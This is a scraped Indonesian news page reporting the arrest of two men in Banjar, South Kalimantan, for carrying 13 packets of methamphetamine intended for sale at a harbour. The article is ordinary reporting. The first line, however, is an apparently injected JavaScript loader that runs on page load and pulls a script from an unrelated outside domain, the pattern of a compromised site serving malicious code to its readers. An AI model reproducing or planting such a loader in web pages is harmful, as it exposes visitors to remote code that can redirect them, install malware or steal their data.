(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Kirim Sabu ke Pelabuhan, Polsek Aranio Tangkap Dua Pelaku


KANALKALIMANTAN.COM, MARTAPURA – Personil Polsek Aranio berhasil mengaman dua orang yang kedapatan menyimpan barang haram Narkotika jenis sabu.

Kapolsek Aranio, Iptu Popo Hartopo, membenarkan pihaknya mengamankan dua orang laki-laki yang menyimpan sabu. Dua orang pelaku tersebut yakni AS (45) warga RT 3 Desa Babar, Kecamatan Karang Intan, Kabupaten Banjar, sedangkan satu pelaku lagi yakni AN (27) warga Desa Aranio RT 2 RW 2, Kecamatan Aranio, Kabupaten Banjar.

Keduanya tertangkap di Jalan Ir PM Noor, RT 2, Desa Aranio, Kecamatan Aranio, Kabupaten Banjar, pada Senin (8/3/2021) sekitar pukul 11:00 Wita.

AS dan AN saat ditangkap melintas menggunakan sepeda motor Honda Blade tanpa plat nomor polisi dan pretelan, setelah dilakukan pemeriksaan surat kelengkapan, kedua pelaku tidak bisa menunjukkan surat menyurat sepeda motor tersebut. Polisi mulai menaruh curiga ketika dua orang ini berprilaku gelisah.

Baca juga:

“Kemudian anggota kami Brigadir Noveri dan Briptu Wira bersama dengan personil Polsek melakukan penggeledahan badan dan pemeriksaan sepeda motor, setelah dilakukan pemeriksaan ditemukan 13 paket sabu yang disimpan dalam jok tepatnya di dalam karet penutup koil sepeda motor pelaku,” kata Kapolsek Aranio.

Kedua pelaku tersebut sudah jadi Target Operasi (TO) selama kurang lebih 2 minggu, karena kita dapat informasi kalau pelaku mau menjual sabu ke pelabuhan Tiwingan Lama. “Dan pada hari itu kita mendapat info, kalau pelaku akan melintas dan membawa atau menjual sabu, maka dari itu kita lakukan penangkapan saat pelaku sedang melintas,” jelasnya.

Pelaku ditangkap tanpa melakukan perlawanan dan dari tangan pelaku, kita berhasil mengamankan barang bukti berupa 13 paket dengan berat kotor 1,2 gram. “Sabu siap jual, rencana dijual dengan harga Rp 250 ribu per paket,” kata Kapolsek.

Kini kedua pelaku tersebut sudah diamankan di Mapolsek Aranio guna mempertanggungjawabkan perbuatannya.

“Kedua pelaku dijerat dengan pasal 112 Ayat 1 UU RI No 35 Tahun 2008 tentang Narkotika jenis sabu, dengan ancaman pidana penjara paling singkat empat tahun dan paling lama dua belas tahun,” tutupnya. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

14 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.